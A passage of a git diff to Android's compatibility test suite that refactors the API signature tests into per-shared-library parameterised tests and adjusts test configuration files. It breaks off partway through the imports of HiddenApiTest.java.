diff --git a/tests/musicrecognition/AndroidTest.xml b/tests/musicrecognition/AndroidTest.xml
index 918df5a..c5fce07 100644
--- a/tests/musicrecognition/AndroidTest.xml
+++ b/tests/musicrecognition/AndroidTest.xml
@@ -22,6 +22,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/net/src/android/net/cts/LocalSocketTest.java b/tests/net/src/android/net/cts/LocalSocketTest.java
index 39b5dbc..c302f81 100644
--- a/tests/net/src/android/net/cts/LocalSocketTest.java
+++ b/tests/net/src/android/net/cts/LocalSocketTest.java
@@ -30,12 +30,9 @@
import android.net.LocalServerSocket;
import android.net.LocalSocket;
import android.net.LocalSocketAddress;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
import android.system.Os;
import android.system.OsConstants;
import android.system.StructTimeval;
-import android.system.UnixSocketAddress;
import androidx.test.runner.AndroidJUnit4;
@@ -196,7 +193,7 @@
}
// http://b/31205169
- @Test
+ @Test @IgnoreUpTo(SC_V2) // Crashes on pre-T due to a JNI bug. See http://r.android.com/2096720
public void testSetSoTimeout_readTimeout() throws Exception {
String address = ADDRESS_PREFIX + "_testSetSoTimeout_readTimeout";
diff --git a/tests/signature/api-check/current-api/AndroidTest.xml b/tests/signature/api-check/current-api/AndroidTest.xml
index 101dbc5..f5f44b0 100644
--- a/tests/signature/api-check/current-api/AndroidTest.xml
+++ b/tests/signature/api-check/current-api/AndroidTest.xml
@@ -16,11 +16,16 @@
<configuration description="Config for CTS Current API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsCurrentApiSignatureTestCases" />
+ <option name="version" value="1.0" />
+ </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsCurrentApiSignatureTestCases.apk" />
@@ -30,8 +35,11 @@
<option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
<option name="class" value="android.signature.cts.api.current.SignatureTest" />
<option name="instrumentation-arg" key="expected-api-files" value="current.api.gz" />
+ <option name="instrumentation-arg" key="dynamic-config-name" value="CtsCurrentApiSignatureTestCases" />
<option name="runtime-hint" value="30s" />
<!-- Disable hidden API checks (http://b/171459260). -->
<option name="hidden-api-checks" value="false" />
+ <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+ <option name="isolated-storage" value="false" />
</test>
</configuration>
diff --git a/tests/signature/api-check/current-api/DynamicConfig.xml b/tests/signature/api-check/current-api/DynamicConfig.xml
new file mode 100644
index 0000000..d26d3c9
--- /dev/null
+++ b/tests/signature/api-check/current-api/DynamicConfig.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<dynamicConfig>
+ <entry key ="expected_failures">
+ <!--
+ ! Each value in this section identifies an expected failure and is of the
+ ! form:
+ ! <failure-type>:<signature of class/member>
+ !
+ ! These entries are loaded by AnnotationTest which uses them to construct
+ ! an ExpectedFailuresFilter which discards them.
+ !
+ ! See go/triage-cts-signature-tests for more information and below for some examples.
+ !-->
+ <!-- Bug: 233719013 -->
+ <value>missing_method:java.util.Optional#flatMap(java.util.function.Function<? super T,java.util.Optional<U>>)</value>
+ <value>missing_method:java.util.OptionalDouble#orElseThrow(java.util.function.Supplier<X>)</value>
+ <value>missing_method:java.util.OptionalInt#orElseThrow(java.util.function.Supplier<X>)</value>
+ <value>missing_method:java.util.OptionalLong#orElseThrow(java.util.function.Supplier<X>)</value>
+ <value>mismatch_method:java.util.concurrent.ConcurrentHashMap.KeySetView#removeAll(java.util.Collection<?>)</value>
+ </entry>
+</dynamicConfig>
\ No newline at end of file
diff --git a/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml
index 6d71bc5..b863f06 100644
--- a/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml
@@ -41,5 +41,7 @@
<option name="runtime-hint" value="30s" />
<!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
<option name="isolated-storage" value="false" />
+ <!-- test-timeout unit is ms, value = 10 min -->
+ <option name="test-timeout" value="600000" />
</test>
</configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml
index 1b8c9bf..5a9e268 100644
--- a/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml
@@ -41,5 +41,7 @@
<option name="runtime-hint" value="30s" />
<!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
<option name="isolated-storage" value="false" />
+ <!-- test-timeout unit is ms, value = 10 min -->
+ <option name="test-timeout" value="600000" />
</test>
</configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml
index 9490cbf..8e7564c 100644
--- a/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml
@@ -41,5 +41,7 @@
<option name="runtime-hint" value="30s" />
<!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
<option name="isolated-storage" value="false" />
+ <!-- test-timeout unit is ms, value = 10 min -->
+ <option name="test-timeout" value="600000" />
</test>
</configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml
index 0b7b95d..7454676 100644
--- a/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml
@@ -41,5 +41,7 @@
<option name="runtime-hint" value="30s" />
<!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
<option name="isolated-storage" value="false" />
+ <!-- test-timeout unit is ms, value = 10 min -->
+ <option name="test-timeout" value="600000" />
</test>
</configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml
index d25c338..90fc97d 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml
@@ -40,5 +40,7 @@
<option name="runtime-hint" value="30s" />
<!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
<option name="isolated-storage" value="false" />
+ <!-- test-timeout unit is ms, value = 10 min -->
+ <option name="test-timeout" value="600000" />
</test>
</configuration>
diff --git a/tests/signature/api-check/shared-libs-api/Android.bp b/tests/signature/api-check/shared-libs-api/Android.bp
index afab2f3..607df48 100644
--- a/tests/signature/api-check/shared-libs-api/Android.bp
+++ b/tests/signature/api-check/shared-libs-api/Android.bp
@@ -24,6 +24,7 @@
static_libs: [
"cts-api-signature-test",
"compatibility-device-util-axt",
+ "junit-params",
],
}
@@ -36,6 +37,8 @@
jarjar_rules: ":cts-android-test-jarjar-rules",
java_resources: [
+ ":cts-current-api-gz",
+ ":cts-shared-libs-names.txt",
":CtsSharedLibsApiSignatureTestCases_cts-shared-libs-all-current.api",
":CtsSharedLibsApiSignatureTestCases_cts-shared-libs-all-previous.api",
],
@@ -60,12 +63,29 @@
srcs: ["src/**/*.java"],
}
+genrule {
+ name: "cts-shared-libs-names.txt",
+ srcs: [
+ "AndroidManifest.xml",
+ ],
+ out: [
+ "shared-libs-names.txt",
+ ],
+ cmd: "grep 'uses-library' $(in) | cut -f2 -d\\\" | sort > $(out)",
+}
+
// Generates a zip file containing the current public and system API files for shared libraries.
genrule {
name: "CtsSharedLibsApiSignatureTestCases_cts-shared-libs-all-current.api",
srcs: [
":android.net.ipsec.ike{.public.api.txt}",
":android.net.ipsec.ike{.system.api.txt}",
+ ":android.test.base{.public.api.txt}",
+ ":android.test.base{.system.api.txt}",
+ ":android.test.runner{.public.api.txt}",
+ ":android.test.runner{.system.api.txt}",
+ ":android.test.mock{.public.api.txt}",
+ ":android.test.mock{.system.api.txt}",
":com.android.future.usb.accessory{.public.api.txt}",
":com.android.future.usb.accessory{.system.api.txt}",
":com.android.libraries.tv.tvsystem{.public.api.txt}",
@@ -82,6 +102,8 @@
":com.android.nfc_extras{.system.api.txt}",
":javax.obex{.public.api.txt}",
":javax.obex{.system.api.txt}",
+ ":org.apache.http.legacy{.public.api.txt}",
+ ":org.apache.http.legacy{.system.api.txt}",
],
tools: [
"soong_zip",
diff --git a/tests/signature/api-check/shared-libs-api/AndroidTest.xml b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
index 14a54a2..9bd8233 100644
--- a/tests/signature/api-check/shared-libs-api/AndroidTest.xml
+++ b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
@@ -28,6 +28,7 @@
<option name="package" value="android.signature.cts.api.shared_libs" />
<option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
<option name="class" value="android.signature.cts.api.SignatureMultiLibsTest" />
+ <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
<option name="instrumentation-arg" key="expected-api-files" value="shared-libs-all-current.api.zip" />
<option name="instrumentation-arg" key="previous-api-files" value="shared-libs-all-previous.api.zip" />
<option name="runtime-hint" value="30s" />
diff --git a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
index c16bd04..2d0f719 100644
--- a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
+++ b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
@@ -17,21 +17,33 @@
package android.signature.cts.api;
import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.SharedLibraryInfo;
import android.signature.cts.ApiComplianceChecker;
import android.signature.cts.ApiDocumentParser;
+import android.signature.cts.JDiffClassDescription;
import android.signature.cts.VirtualPath;
-import android.signature.cts.VirtualPath.LocalFilePath;
+import android.util.Log;
import androidx.test.platform.app.InstrumentationRegistry;
+import com.google.common.base.Suppliers;
+import java.io.BufferedReader;
import java.io.IOException;
-import java.util.Arrays;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.List;
import java.util.Set;
import java.util.TreeSet;
+import java.util.function.Supplier;
import java.util.stream.Collectors;
import java.util.stream.Stream;
-import org.junit.BeforeClass;
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+import junitparams.naming.TestCaseName;
+import org.junit.Assume;
+import org.junit.FixMethodOrder;
import org.junit.Test;
-
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import org.junit.runner.RunWith;
+import org.junit.runners.MethodSorters;
/**
* Verifies that any shared library provided by this device and for which this test has a
@@ -41,39 +53,150 @@
* {@code <uses-library>} entry for every shared library that provides an API that is contained
* within the shared-libs-all.api.zip supplied to this test.
*/
-public class SignatureMultiLibsTest extends SignatureTest {
+@RunWith(JUnitParamsRunner.class)
+@FixMethodOrder(MethodSorters.NAME_ASCENDING)
+public class SignatureMultiLibsTest extends AbstractSignatureTest {
+
+ protected static final Supplier<String[]> EXPECTED_API_FILES =
+ getSupplierOfAMandatoryCommaSeparatedListArgument(EXPECTED_API_FILES_ARG);
+
+ protected static final Supplier<String[]> PREVIOUS_API_FILES =
+ getSupplierOfAMandatoryCommaSeparatedListArgument(PREVIOUS_API_FILES_ARG);
private static final String TAG = SignatureMultiLibsTest.class.getSimpleName();
- private static Set<String> libraries;
+ /**
+ * A memoized supplier of the list of shared libraries on the device.
+ */
+ protected static final Supplier<Set<String>> AVAILABLE_SHARED_LIBRARIES =
+ Suppliers.memoize(SignatureMultiLibsTest::retrieveActiveSharedLibraries)::get;
+
+ private static final String SHARED_LIBRARY_LIST_RESOURCE_NAME = "shared-libs-names.txt";
/**
- * Obtain a list of shared libraries from the device.
+ * Retrieve the names of the shared libraries that are active on the device.
+ *
+ * @return The set of shared library names.
*/
- @BeforeClass
- public static void retrieveListOfSharedLibrariesOnDevice() throws Exception {
+ private static Set<String> retrieveActiveSharedLibraries() {
Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
- String result = runShellCommand(instrumentation, "cmd package list libraries");
- libraries = Arrays.stream(result.split("\n")).map(line -> line.split(":")[1])
- .peek(library -> System.out.printf("%s: Found library: %s%n",
- SignatureMultiLibsTest.class.getSimpleName(), library))
- .collect(Collectors.toCollection(TreeSet::new));
+ Context context = instrumentation.getTargetContext();
+
+ List<SharedLibraryInfo> sharedLibraries =
+ context.getPackageManager().getSharedLibraries(0);
+
+ Set<String> sharedLibraryNames = new TreeSet<>();
+ for (SharedLibraryInfo sharedLibrary : sharedLibraries) {
+ String name = sharedLibrary.getName();
+ sharedLibraryNames.add(name);
+ Log.d(TAG, String.format("Found library: %s%n", name));
+ }
+
+ return sharedLibraryNames;
}
/**
- * Tests that the device's API matches the expected set defined in xml.
- * <p/>
- * Will check the entire API, and then report the complete list of failures
+ * A memoized supplier of the list of shared libraries that this can test.
+ */
+ protected static final Supplier<List<String>> TESTABLE_SHARED_LIBRARIES =
+ Suppliers.memoize(SignatureMultiLibsTest::retrieveTestableSharedLibraries)::get;
+
+ /**
+ * Retrieve the names of the shared libraries that are testable by this test.
+ *
+ * @return The set of shared library names.
+ */
+ private static List<String> retrieveTestableSharedLibraries() {
+ ClassLoader classLoader = SignatureMultiLibsTest.class.getClassLoader();
+ try (InputStream is = classLoader.getResourceAsStream(SHARED_LIBRARY_LIST_RESOURCE_NAME)) {
+ if (is == null) {
+ throw new RuntimeException(
+ "Resource " + SHARED_LIBRARY_LIST_RESOURCE_NAME + " could not be found");
+ }
+
+ try (BufferedReader reader = new BufferedReader(new InputStreamReader(is))) {
+ return reader.lines()
+ .filter(line -> !line.isEmpty())
+ .sorted()
+ .collect(Collectors.toList());
+ }
+ } catch (IOException e) {
+ throw new RuntimeException("Could not retrieve testable shared libraries", e);
+ }
+ }
+
+ /**
+ * Convert the list of testable shared libraries into a form suitable for parameterizing a test.
+ */
+ public Object[][] getTestableSharedLibraryParameters() {
+ List<String> libraries = TESTABLE_SHARED_LIBRARIES.get();
+ Object[][] params = new Object[libraries.size()][1];
+ for (int i = 0; i < libraries.size(); i++) {
+ String name = libraries.get(i);
+ TestableLibraryParameter param = new TestableLibraryParameter(name);
+ params[i][0] = param;
+ }
+ return params;
+ }
+
+ /**
+ * Skips the test if the supplied library is unavailable on the device.
+ *
+ * <p>If the library is unavailable then this throws an
+ * {@link org.junit.AssumptionViolatedException}.</p>
+ *
+ * @param library the name of the library that needs to be available.
+ */
+ private void skipTestIfLibraryIsUnavailable(String library) {
+ Assume.assumeTrue("Shared library " + library + " is not available on this device",
+ AVAILABLE_SHARED_LIBRARIES.get().contains(library));
+ }
+
+ /**
+ * Return a stream of {@link JDiffClassDescription} that are expected to be provided by the
+ * shared libraries which are installed on this device.
+ *
+ * @param apiDocumentParser the parser to use.
+ * @param apiResources the list of API resource files.
+ * @param library the name of the library whose APIs should be parsed.
+ * @return a stream of {@link JDiffClassDescription}.
+ */
+ private Stream<JDiffClassDescription> parseActiveSharedLibraryApis(
+ ApiDocumentParser apiDocumentParser, String[] apiResources, String library) {
+
+ return retrieveApiResourcesAsStream(getClass().getClassLoader(), apiResources)
+ .filter(path -> {
+ String apiLibraryName = getLibraryNameFromPath(path);
+ return apiLibraryName.equals(library);
+ })
+ .flatMap(apiDocumentParser::parseAsStream);
+ }
+
+ /**
+ * Tests that each shared library's API matches its current API.
+ *
+ * <p>One test per shared library, checks the entire API, and then reports the complete list of
+ * failures.</p>
*/
@Test
- public void testSignature() {
+ // Parameterize this method with the set of testable shared libraries.
+ @Parameters(method = "getTestableSharedLibraryParameters")
+ // The test name is the method name followed by and _ and the shared library name, with .s
+ // replaced with _. e.g. testRuntimeCompatibilityWithCurrentApi_android_test_base.
+ @TestCaseName("{method}_{0}")
+ public void testRuntimeCompatibilityWithCurrentApi(TestableLibraryParameter parameter) {
+ String library = parameter.getName();
+ skipTestIfLibraryIsUnavailable(library);
runWithTestResultObserver(mResultObserver -> {
ApiComplianceChecker complianceChecker =
new ApiComplianceChecker(mResultObserver, mClassProvider);
+ // Load classes from any API files that form the base which the expected APIs extend.
+ loadBaseClasses(complianceChecker);
+
ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
- parseApiResourcesAsStream(apiDocumentParser, expectedApiFiles)
+ parseActiveSharedLibraryApis(apiDocumentParser, EXPECTED_API_FILES.get(), library)
.forEach(complianceChecker::checkSignatureCompliance);
// After done parsing all expected API files, perform any deferred checks.
@@ -82,17 +205,27 @@
}
/**
- * Tests that the device's API matches the previous APIs defined in xml.
+ * Tests that each shared library's API matches its previous APIs.
+ *
+ * <p>One test per shared library, checks the entire API, and then reports the complete list of
+ * failures.</p>
*/
@Test
- public void testPreviousSignatures() {
+ // Parameterize this method with the set of testable shared libraries.
+ @Parameters(method = "getTestableSharedLibraryParameters")
+ // The test name is the method name followed by and _ and the shared library name, with .s
+ // replaced with _. e.g. testRuntimeCompatibilityWithPreviousApis_android_test_base.
+ @TestCaseName("{method}_{0}")
+ public void testRuntimeCompatibilityWithPreviousApis(TestableLibraryParameter parameter) {
+ String library = parameter.getName();
+ skipTestIfLibraryIsUnavailable(library);
runWithTestResultObserver(mResultObserver -> {
ApiComplianceChecker complianceChecker =
new ApiComplianceChecker(mResultObserver, mClassProvider);
ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
- parseApiResourcesAsStream(apiDocumentParser, previousApiFiles)
+ parseActiveSharedLibraryApis(apiDocumentParser, PREVIOUS_API_FILES.get(), library)
.map(clazz -> clazz.setPreviousApiFlag(true))
.forEach(complianceChecker::checkSignatureCompliance);
@@ -102,39 +235,37 @@
}
/**
- * Check to see if the supplied name is an API file for a shared library that is available on
- * this device.
+ * Get the library name from the API file's path.
*
- * @param name the name of the possible API file for a shared library.
- * @return true if it is, false otherwise.
+ * @param path the path of the API file.
+ * @return the library name for the API file.
*/
- private boolean checkLibrary (String name) {
- String libraryName = name.substring(name.lastIndexOf('/') + 1).split("-")[0];
- boolean matched = libraries.contains(libraryName);
- if (matched) {
- System.out.printf("%s: Processing API file %s, from library %s as it does match a"
- + " shared library on this device%n",
- getClass().getSimpleName(), name, libraryName);
- } else {
- System.out.printf("%s: Ignoring API file %s, from library %s as it does not match a"
- + " shared library on this device%n",
- getClass().getSimpleName(), name, libraryName);
- }
- return matched;
+ private String getLibraryNameFromPath(VirtualPath path) {
+ String name = path.toString();
+ return name.substring(name.lastIndexOf('/') + 1).split("-")[0];
}
/**
- * Override the method that gets the files from a supplied zip file to filter out any file that
- * does not correspond to a shared library available on the device.
- *
- * @param path the path to the zip file.
- * @return a stream of paths in the zip file that contain APIs that should be available to this
- * tests.
- * @throws IOException if there was an issue reading the zip file.
+ * A wrapper around a shared library name to ensure that its string representation is suitable
+ * for use in a parameterized test name, i.e. does not contain any characters that are not
+ * allowed in a test name by CTS/AndroidJUnitRunner.
*/
- @Override
- protected Stream<VirtualPath> getZipEntryFiles(LocalFilePath path) throws IOException {
- // Only return entries corresponding to shared libraries.
- return super.getZipEntryFiles(path).filter(p -> checkLibrary(p.toString()));
+ public static class TestableLibraryParameter {
+ private final String name;
+ private final String parameter;
+
+ public TestableLibraryParameter(String name) {
+ this.name = name;
+ this.parameter = name.replace('.', '_');
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ @Override
+ public String toString() {
+ return parameter;
+ }
}
}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
index 5bfe0bb..b1dd014 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
@@ -26,23 +26,16 @@
import android.signature.cts.JDiffClassDescription;
import android.signature.cts.ResultObserver;
import android.signature.cts.VirtualPath;
-import android.signature.cts.VirtualPath.LocalFilePath;
-import android.signature.cts.VirtualPath.ResourcePath;
import android.util.Log;
-
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
-
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.nio.file.Files;
-import java.nio.file.Path;
+import com.google.common.base.Suppliers;
import java.util.Collection;
import java.util.Collections;
+import java.util.function.Supplier;
import java.util.stream.Stream;
-import java.util.zip.ZipFile;
+import org.junit.AfterClass;
import org.junit.Before;
import org.junit.runner.RunWith;
@@ -61,8 +54,6 @@
*/
private static final String DYNAMIC_CONFIG_NAME_OPTION = "dynamic-config-name";
- private static final String TAG = "SignatureTest";
-
private TestResultObserver mResultObserver;
ClassProvider mClassProvider;
@@ -72,6 +63,11 @@
*/
private Collection<String> expectedFailures = Collections.emptyList();
+ @AfterClass
+ public static void closeResourceStore() {
+ ResourceStore.close();
+ }
+
public Instrumentation getInstrumentation() {
return InstrumentationRegistry.getInstrumentation();
}
@@ -175,6 +171,13 @@
mResultObserver.onTestComplete(); // Will throw is there are failures
}
+ static Supplier<String[]> getSupplierOfAnOptionalCommaSeparatedListArgument(String key) {
+ return Suppliers.memoize(() -> {
+ Bundle arguments = InstrumentationRegistry.getArguments();
+ return getCommaSeparatedListOptional(arguments, key);
+ })::get;
+ }
+
static String[] getCommaSeparatedListOptional(Bundle instrumentationArgs, String key) {
String argument = instrumentationArgs.getString(key);
if (argument == null) {
@@ -183,6 +186,13 @@
return argument.split(",");
}
+ static Supplier<String[]> getSupplierOfAMandatoryCommaSeparatedListArgument(String key) {
+ return Suppliers.memoize(() -> {
+ Bundle arguments = InstrumentationRegistry.getArguments();
+ return getCommaSeparatedListRequired(arguments, key);
+ })::get;
+ }
+
static String[] getCommaSeparatedListRequired(Bundle instrumentationArgs, String key) {
String argument = instrumentationArgs.getString(key);
if (argument == null) {
@@ -191,63 +201,36 @@
return argument.split(",");
}
- private Stream<VirtualPath> readResource(String resourceName) {
- try {
- ResourcePath resourcePath =
- VirtualPath.get(getClass().getClassLoader(), resourceName);
- if (resourceName.endsWith(".zip")) {
- // Extract to a temporary file and read from there.
- Path file = extractResourceToFile(resourceName, resourcePath.newInputStream());
- return flattenPaths(VirtualPath.get(file.toString()));
- } else {
- return Stream.of(resourcePath);
- }
- } catch (IOException e) {
- throw new RuntimeException(e);
- }
- }
-
- Path extractResourceToFile(String resourceName, InputStream is) throws IOException {
- Path tempDirectory = Files.createTempDirectory("signature");
- Path file = tempDirectory.resolve(resourceName);
- Log.i(TAG, "extractResourceToFile: extracting " + resourceName + " to " + file);
- Files.copy(is, file);
- is.close();
- return file;
- }
-
/**
- * Given a path in the local file system (possibly of a zip file) flatten it into a stream of
- * virtual paths.
+ * Create a stream of {@link JDiffClassDescription} by parsing a set of API resource files.
+ *
+ * @param apiDocumentParser the parser to use.
+ * @param apiResources the list of API resource files.
+ *
+ * @return the stream of {@link JDiffClassDescription}.
*/
- private Stream<VirtualPath> flattenPaths(LocalFilePath path) {
- try {
- if (path.toString().endsWith(".zip")) {
- return getZipEntryFiles(path);
- } else {
- return Stream.of(path);
- }
- } catch (IOException e) {
- throw new RuntimeException(e);
- }
- }
-
Stream<JDiffClassDescription> parseApiResourcesAsStream(
ApiDocumentParser apiDocumentParser, String[] apiResources) {
- return Stream.of(apiResources)
- .flatMap(this::readResource)
+ return retrieveApiResourcesAsStream(getClass().getClassLoader(), apiResources)
.flatMap(apiDocumentParser::parseAsStream);
}
/**
- * Get the zip entries that are files.
+ * Retrieve a stream of {@link VirtualPath} from a list of API resource files.
*
- * @param path the path to the zip file.
- * @return paths to zip entries
+ * <p>Any zip files are flattened, i.e. if a resource name ends with {@code .zip} then it is
+ * unpacked into a temporary directory and the paths to the unpacked files are returned instead
+ * of the path to the zip file.</p>
+ *
+ * @param classLoader the {@link ClassLoader} from which the resources will be loaded.
+ * @param apiResources the list of API resource files.
+ *
+ * @return the stream of {@link VirtualPath}.
*/
- protected Stream<VirtualPath> getZipEntryFiles(LocalFilePath path) throws IOException {
- @SuppressWarnings("resource")
- ZipFile zip = new ZipFile(path.toFile());
- return zip.stream().map(entry -> VirtualPath.get(zip, entry));
+ static Stream<VirtualPath> retrieveApiResourcesAsStream(
+ ClassLoader classLoader,
+ String[] apiResources) {
+ return Stream.of(apiResources)
+ .flatMap(resourceName -> ResourceStore.readResource(classLoader, resourceName));
}
}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractSignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractSignatureTest.java
new file mode 100644
index 0000000..6df224fc
--- /dev/null
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractSignatureTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts.api;
+
+import android.signature.cts.ApiComplianceChecker;
+import android.signature.cts.ApiDocumentParser;
+import java.util.function.Supplier;
+
+/**
+ * Base class of the tests that check accessibility of API signatures at runtime.
+ */
+public class AbstractSignatureTest extends AbstractApiTest {
+
+ private static final String TAG = AbstractSignatureTest.class.getSimpleName();
+
+ /**
+ * The name of the instrumentation option that contains the list of the current API signatures
+ * that are expected to be accessible.
+ */
+ protected static final String EXPECTED_API_FILES_ARG = "expected-api-files";
+
+ /**
+ * The name of the instrumentation option that contains the list of the previous API signatures
+ * that are expected to be accessible.
+ */
+ protected static final String PREVIOUS_API_FILES_ARG = "previous-api-files";
+
+ /**
+ * Supplier of the list of files specified in the instrumentation argument "base-api-files".
+ */
+ private static final Supplier<String[]> BASE_API_FILES =
+ getSupplierOfAnOptionalCommaSeparatedListArgument("base-api-files");
+
+ /**
+ * Load the base API files into the supplied compliance checker.
+ *
+ * <p>Base API files are not checked by the compliance checker but may be extended by classes
+ * which are checked.</p>
+ *
+ * @param complianceChecker the {@link ApiComplianceChecker} into which the base API will be
+ * loaded.
+ */
+ protected void loadBaseClasses(ApiComplianceChecker complianceChecker) {
+ ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
+ parseApiResourcesAsStream(apiDocumentParser, BASE_API_FILES.get())
+ .forEach(complianceChecker::addBaseClass);
+ }
+}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
index 2f77728..9cb5fb1 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
@@ -59,7 +59,7 @@
doTestKillswitchMechanism(FIELD_FILTER, /* reflection= */ true, /* jni= */ false);
}
- @Test
+ @Test(timeout = 900000)
public void testKillswitchMechanismFieldsThroughJni() {
doTestKillswitchMechanism(FIELD_FILTER, /* reflection= */ false, /* jni= */ true);
}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 9082c47..1635da7 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -25,37 +25,46 @@
import android.signature.cts.FailureType;
import android.signature.cts.VirtualPath;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.google.common.base.Suppliers;
+
+import org.junit.Test;
+
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
+import java.text.ParseException;
+import java.util.ArrayList;
import java.util.HashSet;
+import java.util.List;
import java.util.Set;
import java.util.function.Predicate;
-import org.junit.Test;
+import java.util.function.Supplier;
/**
* Checks that it is not possible to access hidden APIs.
*/
